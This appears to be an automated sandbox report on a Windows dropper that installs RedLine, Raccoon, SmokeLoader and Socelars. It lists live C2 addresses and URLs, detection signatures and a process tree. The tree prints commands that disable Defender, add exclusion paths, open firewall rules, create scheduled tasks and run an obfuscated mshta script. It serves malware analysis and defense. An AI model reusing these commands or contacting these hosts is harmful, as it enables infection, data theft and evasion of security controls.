Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
022e3c30a1...66.exe
windows7_x64
10022e3c30a1...66.exe
windows10_x64
104d27dca0a1...ef.exe
windows7_x64
104d27dca0a1...ef.exe
windows10_x64
10578a3a7a2b...b3.exe
windows7_x64
10578a3a7a2b...b3.exe
windows10_x64
109c4880a98c...82.exe
windows7_x64
109c4880a98c...82.exe
windows10_x64
10a1dad4a83d...c4.exe
windows7_x64
10a1dad4a83d...c4.exe
windows10_x64
10acf1b7d80f...e0.exe
windows7_x64
10acf1b7d80f...e0.exe
windows10_x64
10cbf31d825a...d2.exe
windows7_x64
10cbf31d825a...d2.exe
windows10_x64
10db76a117db...12.exe
windows7_x64
10db76a117db...12.exe
windows10_x64
10e2ffb8aeeb...f6.exe
windows7_x64
10e2ffb8aeeb...f6.exe
windows10_x64
10f2196668f4...cb.exe
windows7_x64
10f2196668f4...cb.exe
windows10_x64
10Resubmissions
10/11/2021, 14:50
211110-r7nbvaeddr 1008/11/2021, 16:12
211108-tnmmbahgaj 1008/11/2021, 15:26
211108-svdsbaccf6 1008/11/2021, 14:48
211108-r6lfvshdfn 10Analysis
-
max time kernel
32s -
max time network
180s -
platform
windows10_x64 -
resource
win10-en-20211104 -
submitted
08/11/2021, 14:48
Static task
static1
Behavioral task
behavioral1
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win7-en-20211104
Behavioral task
behavioral2
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win10-en-20211014
Behavioral task
behavioral3
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win7-en-20211104
Behavioral task
behavioral4
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win10-en-20211014
Behavioral task
behavioral5
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win7-en-20211104
Behavioral task
behavioral6
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win10-en-20211104
Behavioral task
behavioral7
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win7-en-20211014
Behavioral task
behavioral8
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win10-en-20211104
Behavioral task
behavioral9
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win7-en-20211014
Behavioral task
behavioral10
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win10-en-20211104
Behavioral task
behavioral11
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win7-en-20211104
Behavioral task
behavioral12
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win10-en-20211014
Behavioral task
behavioral13
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win7-en-20211104
Behavioral task
behavioral14
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win10-en-20211014
Behavioral task
behavioral15
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win7-en-20211104
Behavioral task
behavioral16
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win10-en-20211014
Behavioral task
behavioral17
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win7-en-20211104
Behavioral task
behavioral18
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win10-en-20211014
Behavioral task
behavioral19
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win7-en-20211104
Behavioral task
behavioral20
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win10-en-20211104
General
-
Target
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
-
Size
4.4MB
-
MD5
bfc2137972c74edea0f9791b94486e9b
-
SHA1
fd72e52406ce3f2ae5cfdb5dd8c7243f3ce31eb3
-
SHA256
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4
-
SHA512
9fcd3756f9888e2000b94caf0d803087497b87428c0bd641901d2e416411bc698d9ca3a7a00d3cd711b681f3c8b8921f2a478f0ec1f975bc36fde5cf16741e75
Malware Config
Extracted
socelars
http://www.iyiqian.com/
http://www.hbgents.top/
http://www.rsnzhy.com/
http://www.efxety.top/
Extracted
redline
Chris
194.104.136.5:46013
Extracted
redline
media18
91.121.67.60:2151
Extracted
redline
fucker2
135.181.129.119:4805
Extracted
raccoon
2f2ad1a1aa093c5a9d17040c8efd5650a99640b5
-
url4cnc
http://telegatt.top/oh12manymarty
http://telegka.top/oh12manymarty
http://telegin.top/oh12manymarty
https://t.me/oh12manymarty
Extracted
smokeloader
2020
http://directorycart.com/upload/
http://tierzahnarzt.at/upload/
http://streetofcards.com/upload/
http://ycdfzd.com/upload/
http://successcoachceo.com/upload/
http://uhvu.cn/upload/
http://japanarticle.com/upload/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4664 5108 rundll32.exe 125 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 6 IoCs
resource yara_rule behavioral10/memory/4284-282-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral10/memory/4284-286-0x000000000041B242-mapping.dmp family_redline behavioral10/memory/4308-285-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral10/memory/4308-289-0x000000000041B23E-mapping.dmp family_redline behavioral10/memory/4296-288-0x000000000041B23E-mapping.dmp family_redline behavioral10/memory/4296-284-0x0000000000400000-0x0000000000422000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 2 IoCs
resource yara_rule behavioral10/files/0x000500000001abb1-266.dat family_socelars behavioral10/files/0x000500000001abb1-203.dat family_socelars -
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
-
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
-
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
-
suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil
suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil
-
resource yara_rule behavioral10/files/0x000600000001ab91-126.dat aspack_v212_v242 behavioral10/files/0x000400000001aba5-130.dat aspack_v212_v242 behavioral10/files/0x000400000001aba5-131.dat aspack_v212_v242 behavioral10/files/0x000400000001aba3-128.dat aspack_v212_v242 behavioral10/files/0x000600000001ab91-127.dat aspack_v212_v242 behavioral10/files/0x000400000001aba3-125.dat aspack_v212_v242 -
Downloads MZ/PE file
-
Executes dropped EXE 16 IoCs
pid Process 1184 setup_installer.exe 1516 setup_install.exe 1604 Tue201d50e7015.exe 4028 Tue2082eedf21.exe 1844 Tue20ea834764a6.exe 1984 Tue200ab8d408d.exe 2160 Tue207c76c7f37.exe 3616 Tue20adee3c26d.exe 3048 Tue20abd30733a17.exe 3416 Tue20c79bfdadc.exe 1580 Tue2082ea84bd.exe 3788 Tue2076b72c2666aa9c.exe 3596 Tue201d50e7015.tmp 3852 Tue20d8f1968de62f282.exe 3116 Tue203dd57461.exe 3352 Tue202dc71d1d41.exe -
Modifies Windows Firewall 1 TTPs
-
Loads dropped DLL 7 IoCs
pid Process 1516 setup_install.exe 1516 setup_install.exe 1516 setup_install.exe 1516 setup_install.exe 1516 setup_install.exe 1516 setup_install.exe 1516 setup_install.exe -
resource yara_rule behavioral10/files/0x000400000001abeb-342.dat themida behavioral10/files/0x000400000001abf1-348.dat themida -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 8 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 125 api.db-ip.com 126 api.db-ip.com 312 ipinfo.io 314 ipinfo.io 317 ipinfo.io 65 ip-api.com 83 ipinfo.io 124 api.db-ip.com -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 5 IoCs
pid pid_target Process procid_target 1780 1516 WerFault.exe 70 4544 3852 WerFault.exe 111 4888 5816 WerFault.exe 183 5188 5824 WerFault.exe 194 928 1568 WerFault.exe 215 -
Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4380 schtasks.exe 8100 schtasks.exe 8092 schtasks.exe 6116 schtasks.exe 7792 schtasks.exe -
Delays execution with timeout.exe 2 IoCs
pid Process 7880 timeout.exe 5968 timeout.exe -
Kills process with taskkill 7 IoCs
pid Process 4960 taskkill.exe 2888 taskkill.exe 4180 taskkill.exe 5776 taskkill.exe 6588 taskkill.exe 6868 taskkill.exe 1060 taskkill.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3048 Tue20abd30733a17.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4056 wrote to memory of 1184 4056 a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe 69 PID 4056 wrote to memory of 1184 4056 a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe 69 PID 4056 wrote to memory of 1184 4056 a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe 69 PID 1184 wrote to memory of 1516 1184 setup_installer.exe 70 PID 1184 wrote to memory of 1516 1184 setup_installer.exe 70 PID 1184 wrote to memory of 1516 1184 setup_installer.exe 70 PID 1516 wrote to memory of 2664 1516 setup_install.exe 73 PID 1516 wrote to memory of 2664 1516 setup_install.exe 73 PID 1516 wrote to memory of 2664 1516 setup_install.exe 73 PID 1516 wrote to memory of 1104 1516 setup_install.exe 74 PID 1516 wrote to memory of 1104 1516 setup_install.exe 74 PID 1516 wrote to memory of 1104 1516 setup_install.exe 74 PID 1516 wrote to memory of 1068 1516 setup_install.exe 75 PID 1516 wrote to memory of 1068 1516 setup_install.exe 75 PID 1516 wrote to memory of 1068 1516 setup_install.exe 75 PID 1516 wrote to memory of 3968 1516 setup_install.exe 76 PID 1516 wrote to memory of 3968 1516 setup_install.exe 76 PID 1516 wrote to memory of 3968 1516 setup_install.exe 76 PID 1516 wrote to memory of 764 1516 setup_install.exe 77 PID 1516 wrote to memory of 764 1516 setup_install.exe 77 PID 1516 wrote to memory of 764 1516 setup_install.exe 77 PID 1516 wrote to memory of 3196 1516 setup_install.exe 78 PID 1516 wrote to memory of 3196 1516 setup_install.exe 78 PID 1516 wrote to memory of 3196 1516 setup_install.exe 78 PID 1516 wrote to memory of 3476 1516 setup_install.exe 79 PID 1516 wrote to memory of 3476 1516 setup_install.exe 79 PID 1516 wrote to memory of 3476 1516 setup_install.exe 79 PID 1104 wrote to memory of 2556 1104 cmd.exe 117 PID 1104 wrote to memory of 2556 1104 cmd.exe 117 PID 1104 wrote to memory of 2556 1104 cmd.exe 117 PID 2664 wrote to memory of 376 2664 cmd.exe 116 PID 2664 wrote to memory of 376 2664 cmd.exe 116 PID 2664 wrote to memory of 376 2664 cmd.exe 116 PID 1516 wrote to memory of 2608 1516 setup_install.exe 115 PID 1516 wrote to memory of 2608 1516 setup_install.exe 115 PID 1516 wrote to memory of 2608 1516 setup_install.exe 115 PID 1516 wrote to memory of 4084 1516 setup_install.exe 114 PID 1516 wrote to memory of 4084 1516 setup_install.exe 114 PID 1516 wrote to memory of 4084 1516 setup_install.exe 114 PID 1516 wrote to memory of 1196 1516 setup_install.exe 80 PID 1516 wrote to memory of 1196 1516 setup_install.exe 80 PID 1516 wrote to memory of 1196 1516 setup_install.exe 80 PID 1516 wrote to memory of 2300 1516 setup_install.exe 113 PID 1516 wrote to memory of 2300 1516 setup_install.exe 113 PID 1516 wrote to memory of 2300 1516 setup_install.exe 113 PID 3968 wrote to memory of 1604 3968 cmd.exe 81 PID 3968 wrote to memory of 1604 3968 cmd.exe 81 PID 3968 wrote to memory of 1604 3968 cmd.exe 81 PID 1516 wrote to memory of 1644 1516 setup_install.exe 96 PID 1516 wrote to memory of 1644 1516 setup_install.exe 96 PID 1516 wrote to memory of 1644 1516 setup_install.exe 96 PID 764 wrote to memory of 4028 764 cmd.exe 95 PID 764 wrote to memory of 4028 764 cmd.exe 95 PID 764 wrote to memory of 4028 764 cmd.exe 95 PID 2608 wrote to memory of 1844 2608 cmd.exe 94 PID 2608 wrote to memory of 1844 2608 cmd.exe 94 PID 2608 wrote to memory of 1844 2608 cmd.exe 94 PID 1516 wrote to memory of 952 1516 setup_install.exe 93 PID 1516 wrote to memory of 952 1516 setup_install.exe 93 PID 1516 wrote to memory of 952 1516 setup_install.exe 93 PID 1068 wrote to memory of 1984 1068 cmd.exe 92 PID 1068 wrote to memory of 1984 1068 cmd.exe 92 PID 1068 wrote to memory of 1984 1068 cmd.exe 92 PID 3196 wrote to memory of 2160 3196 cmd.exe 82
Processes
-
C:\Users\Admin\AppData\Local\Temp\a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe"C:\Users\Admin\AppData\Local\Temp\a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4056 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1184 -
C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1516 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable4⤵
- Suspicious use of WriteProcessMemory
PID:2664 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable5⤵PID:376
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
PID:1104 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵PID:2556
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue200ab8d408d.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1068 -
C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue200ab8d408d.exeTue200ab8d408d.exe5⤵
- Executes dropped EXE
PID:1984
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue201d50e7015.exe4⤵
- Suspicious use of WriteProcessMemory
PID:3968 -
C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue201d50e7015.exeTue201d50e7015.exe5⤵
- Executes dropped EXE
PID:1604 -
C:\Users\Admin\AppData\Local\Temp\is-DJUJO.tmp\Tue201d50e7015.tmp"C:\Users\Admin\AppData\Local\Temp\is-DJUJO.tmp\Tue201d50e7015.tmp" /SL5="$701DA,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue201d50e7015.exe"6⤵
- Executes dropped EXE
PID:3596
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue2082eedf21.exe /mixone4⤵
- Suspicious use of WriteProcessMemory
PID:764 -
C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue2082eedf21.exeTue2082eedf21.exe /mixone5⤵
- Executes dropped EXE
PID:4028 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Tue2082eedf21.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue2082eedf21.exe" & exit6⤵PID:1728
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Tue2082eedf21.exe" /f7⤵
- Kills process with taskkill
PID:5776
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue207c76c7f37.exe4⤵
- Suspicious use of WriteProcessMemory
PID:3196 -
C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue207c76c7f37.exeTue207c76c7f37.exe5⤵
- Executes dropped EXE
PID:2160 -
C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue207c76c7f37.exeC:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue207c76c7f37.exe6⤵PID:4308
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue20adee3c26d.exe4⤵PID:3476
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue20adee3c26d.exeTue20adee3c26d.exe5⤵
- Executes dropped EXE
PID:3616 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBScRiPt: cLOsE(CREaTeOBject ("WSCRipt.sHEll" ). Run ( "CMd /r tYpE ""C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue20adee3c26d.exe"" > ..\_4SO.EXE &&sTARt ..\_4SO.Exe /PZOIMJIYi~u3pALhs & If """"== """" for %Y In ( ""C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue20adee3c26d.exe"") do taskkill /IM ""%~nXY"" -f" , 0, tRUE ) )6⤵PID:2564
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue2076b72c2666aa9c.exe4⤵PID:1196
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue2076b72c2666aa9c.exeTue2076b72c2666aa9c.exe5⤵
- Executes dropped EXE
PID:3788 -
C:\Users\Admin\Pictures\Adobe Films\i8zXIgoRg_GIPCXUQGO02Ffb.exe"C:\Users\Admin\Pictures\Adobe Films\i8zXIgoRg_GIPCXUQGO02Ffb.exe"6⤵PID:5980
-
-
C:\Users\Admin\Pictures\Adobe Films\JsKy7lZ_NgzONbfX003chYeY.exe"C:\Users\Admin\Pictures\Adobe Films\JsKy7lZ_NgzONbfX003chYeY.exe"6⤵PID:5636
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
PID:8100
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
PID:8092
-
-
C:\Users\Admin\Documents\b4fJYs_nOsF98xwtFBNnUvPI.exe"C:\Users\Admin\Documents\b4fJYs_nOsF98xwtFBNnUvPI.exe"7⤵PID:8084
-
-
-
C:\Users\Admin\Pictures\Adobe Films\Qt2PiA_huG9WC0UHDkTkDPBg.exe"C:\Users\Admin\Pictures\Adobe Films\Qt2PiA_huG9WC0UHDkTkDPBg.exe"6⤵PID:5568
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"7⤵PID:680
-
-
-
C:\Users\Admin\Pictures\Adobe Films\iCOloTIUloN8rnZ3nS7xZX_p.exe"C:\Users\Admin\Pictures\Adobe Films\iCOloTIUloN8rnZ3nS7xZX_p.exe"6⤵PID:5672
-
-
C:\Users\Admin\Pictures\Adobe Films\SBZkIyw_p3azYEi_uKiL7XRR.exe"C:\Users\Admin\Pictures\Adobe Films\SBZkIyw_p3azYEi_uKiL7XRR.exe"6⤵PID:5768
-
-
C:\Users\Admin\Pictures\Adobe Films\WN0APGiw8DJ0GJPP55HWRlr_.exe"C:\Users\Admin\Pictures\Adobe Films\WN0APGiw8DJ0GJPP55HWRlr_.exe"6⤵PID:5848
-
-
C:\Users\Admin\Pictures\Adobe Films\lyc_XYDVbod0jmN_FN8N6sOi.exe"C:\Users\Admin\Pictures\Adobe Films\lyc_XYDVbod0jmN_FN8N6sOi.exe"6⤵PID:2872
-
-
C:\Users\Admin\Pictures\Adobe Films\O_Pte17TtlWbrmuZH9G2kgY7.exe"C:\Users\Admin\Pictures\Adobe Films\O_Pte17TtlWbrmuZH9G2kgY7.exe"6⤵PID:652
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\7⤵PID:4132
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \7⤵PID:1348
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes7⤵PID:6004
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM7⤵
- Creates scheduled task(s)
PID:4380
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes7⤵PID:4272
-
-
C:\Windows\System\svchost.exe"C:\Windows\System\svchost.exe" formal7⤵PID:4552
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\8⤵PID:5400
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \8⤵PID:5296
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes8⤵PID:1772
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes8⤵PID:3688
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\9KXr4ff8_MNHF4bn24Ma3Ezf.exe"C:\Users\Admin\Pictures\Adobe Films\9KXr4ff8_MNHF4bn24Ma3Ezf.exe"6⤵PID:5960
-
-
C:\Users\Admin\Pictures\Adobe Films\0A5p5QdHbsJGObyelmnONl4s.exe"C:\Users\Admin\Pictures\Adobe Films\0A5p5QdHbsJGObyelmnONl4s.exe"6⤵PID:5836
-
-
C:\Users\Admin\Pictures\Adobe Films\8FT82C00M8IKbgQKixFjB8aQ.exe"C:\Users\Admin\Pictures\Adobe Films\8FT82C00M8IKbgQKixFjB8aQ.exe"6⤵PID:4680
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\8FT82C00M8IKbgQKixFjB8aQ.exe" & exit7⤵PID:7432
-
C:\Windows\SysWOW64\timeout.exetimeout /t 58⤵
- Delays execution with timeout.exe
PID:7880
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\EiSNNqZiPWMn4C4XSNv3NkuF.exe"C:\Users\Admin\Pictures\Adobe Films\EiSNNqZiPWMn4C4XSNv3NkuF.exe"6⤵PID:5816
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5816 -s 3127⤵
- Program crash
PID:4888
-
-
-
C:\Users\Admin\Pictures\Adobe Films\ehPs93YVSN7CYKFIZP6D3hpN.exe"C:\Users\Admin\Pictures\Adobe Films\ehPs93YVSN7CYKFIZP6D3hpN.exe"6⤵PID:600
-
-
C:\Users\Admin\Pictures\Adobe Films\gWuVWpLPOMCUSpE4BnmqJfzr.exe"C:\Users\Admin\Pictures\Adobe Films\gWuVWpLPOMCUSpE4BnmqJfzr.exe"6⤵PID:2084
-
-
C:\Users\Admin\Pictures\Adobe Films\VwFz9ThxiW9zgRi2YJ6qzXrd.exe"C:\Users\Admin\Pictures\Adobe Films\VwFz9ThxiW9zgRi2YJ6qzXrd.exe"6⤵PID:4676
-
-
C:\Users\Admin\Pictures\Adobe Films\uoDQ7kV1gNPG375Wj1kmK66b.exe"C:\Users\Admin\Pictures\Adobe Films\uoDQ7kV1gNPG375Wj1kmK66b.exe"6⤵PID:2368
-
C:\Users\Admin\Pictures\Adobe Films\uoDQ7kV1gNPG375Wj1kmK66b.exe"C:\Users\Admin\Pictures\Adobe Films\uoDQ7kV1gNPG375Wj1kmK66b.exe"7⤵PID:6312
-
-
-
C:\Users\Admin\Pictures\Adobe Films\jsj_VajE1GILoi69xlPQ1H9i.exe"C:\Users\Admin\Pictures\Adobe Films\jsj_VajE1GILoi69xlPQ1H9i.exe"6⤵PID:6128
-
C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exeC:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe7⤵PID:5824
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"8⤵PID:4420
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5824 -s 5528⤵
- Program crash
PID:5188
-
-
-
C:\Users\Admin\AppData\Roaming\Underdress.exeC:\Users\Admin\AppData\Roaming\Underdress.exe7⤵PID:4620
-
C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"8⤵PID:4904
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\nRKfsDIcRxofBnbYKnGSkR4l.exe"C:\Users\Admin\Pictures\Adobe Films\nRKfsDIcRxofBnbYKnGSkR4l.exe"6⤵PID:6052
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe7⤵PID:4696
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe8⤵
- Kills process with taskkill
PID:6868
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\EgJDRQT4QqB02au_V1Faq_tP.exe"C:\Users\Admin\Pictures\Adobe Films\EgJDRQT4QqB02au_V1Faq_tP.exe"6⤵PID:4476
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\EgJDRQT4QqB02au_V1Faq_tP.exe" & exit7⤵PID:7924
-
C:\Windows\SysWOW64\timeout.exetimeout /t 58⤵
- Delays execution with timeout.exe
PID:5968
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\wbDE2BWmUJUFkrjZTIDUfo4D.exe"C:\Users\Admin\Pictures\Adobe Films\wbDE2BWmUJUFkrjZTIDUfo4D.exe"6⤵PID:4292
-
-
C:\Users\Admin\Pictures\Adobe Films\Q6thxnxvRLvhVXnSFL7Nno02.exe"C:\Users\Admin\Pictures\Adobe Films\Q6thxnxvRLvhVXnSFL7Nno02.exe"6⤵PID:4264
-
C:\Users\Admin\Pictures\Adobe Films\Q6thxnxvRLvhVXnSFL7Nno02.exe"C:\Users\Admin\Pictures\Adobe Films\Q6thxnxvRLvhVXnSFL7Nno02.exe"7⤵PID:5192
-
-
-
C:\Users\Admin\Pictures\Adobe Films\ld6FGcpdPQkRK3wvXkhYjGRJ.exe"C:\Users\Admin\Pictures\Adobe Films\ld6FGcpdPQkRK3wvXkhYjGRJ.exe"6⤵PID:1568
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1568 -s 4007⤵
- Program crash
PID:928
-
-
-
